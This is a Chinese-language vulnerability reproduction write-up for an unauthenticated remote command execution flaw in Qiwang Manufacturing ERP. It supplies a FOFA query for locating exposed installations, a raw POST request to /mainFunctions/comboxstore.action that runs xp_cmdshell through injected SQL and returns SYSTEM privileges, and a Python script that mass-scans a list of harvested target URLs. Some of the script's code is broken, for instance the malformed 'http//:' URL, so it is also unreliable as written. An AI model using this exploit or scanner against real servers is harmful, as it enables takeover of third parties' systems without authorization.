企望制造ERP存在远程命令执行漏洞
1. 企望制造ERP简介
企望制造纸箱业erp系统由深知纸箱行业特点和业务流程的多位IT专家打造,具有国际先进的管理方式,将现代化的管理方式融入erp软件中,让企业分分钟就拥有科学的管理经验。erp的功能包括成本核算、报价定价、订单下达、生产下单、现场管理等多种功能。
2.漏洞描述
由于企望制造 ERP comboxstore.action接口权限设置不当,默认的配置可执行任意SQL语句,利用xp_cmdshell函数可远程执行命令,未经认证的攻击者可通过该漏洞获取服务器权限。
3.影响版本
4.fofa查询语句
title=“企望制造ERP系统”
5.漏洞复现
例子1:
POST /mainFunctions/comboxstore.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=537BDFA42B975D9B35433172E6DA8998
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
comboxsql=exec%20xp_cmdshell%20''
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 187
Date: Thu, 05 Oct 2023 14:55:04 GMT
Connection: close
{'data':[{"Item":"nt authority\\system","Value":"nt authority\\system","Filter":"","NOListItemPersonalFilledAll":""}, {"Item":"","Value":"","Filter":"","NOListItemPersonalFilledAll":""}]}
## 6.python代码
其中url.txt是利用goby中的fofa插件生成的
```python
import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def Poc(url):
headers= {
"Host": url,
"Connection": "close",
"sec-ch-ua": "\"Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"115\", \"Chromium\";v=\"115\"",
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"sec-ch-ua-mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9"
}
data = "comboxsql=exec%20xp_cmdshell%20'ipconfig'"
try:
payload='/mainFunctions/comboxstore.action'
requst_url='http//:'+url+payload
#print(requst_url)
try:
response = requests.post(url=requst_url,headers=headers,data=data,verify=False,timeout=10)
#response=requests.get(requst_url,headers=headers,verify=False,timeout=10)
if response.status_code==200 and '255' in response.text:
print(requst_url,'存在漏洞')
else:
print('none')
except :
print("链接失败")
except Exception as e:
#print(f'{requst_url}请求失败:{e}')
print(f'请求失败:')
# def get_url(file_name):
file_name='url_qw.txt'
url_list=[]
with open(file_name,'r',encoding='utf-8') as f:
lines=f.readlines()
for i in lines:
t=i.strip().split()
#print(t,type(t))
url=t[0]
#print(url)
if 'http' not in url or 'https' not in url :
url='http://'+url+'/mainFunctions/comboxstore.action'
try:
responed = requests.get(url,)
#print(responed.text)
if responed.status_code==200 and "{'data':[]}" in responed.text:
#Poc(url)
print(url,"存在漏洞")
except requests.exceptions.RequestException as e:
print("访问失败")
7.复现遇到的问题
1.在使用参考文章中的burpsuite 包时,注意哪些字段必须添加
本次复现中有应该注意:
Content-Type: application/x-www-form-urlencoded
或者还有cookie字段
2.访问过程中,有些链接访问不了,原因可能是应为有防火墙等等
3.确定不了操作系统可以使用whoami
8.参考链接
https://mp.weixin.qq.com/s/VU4u_MMBdOWl3u33Okw4bg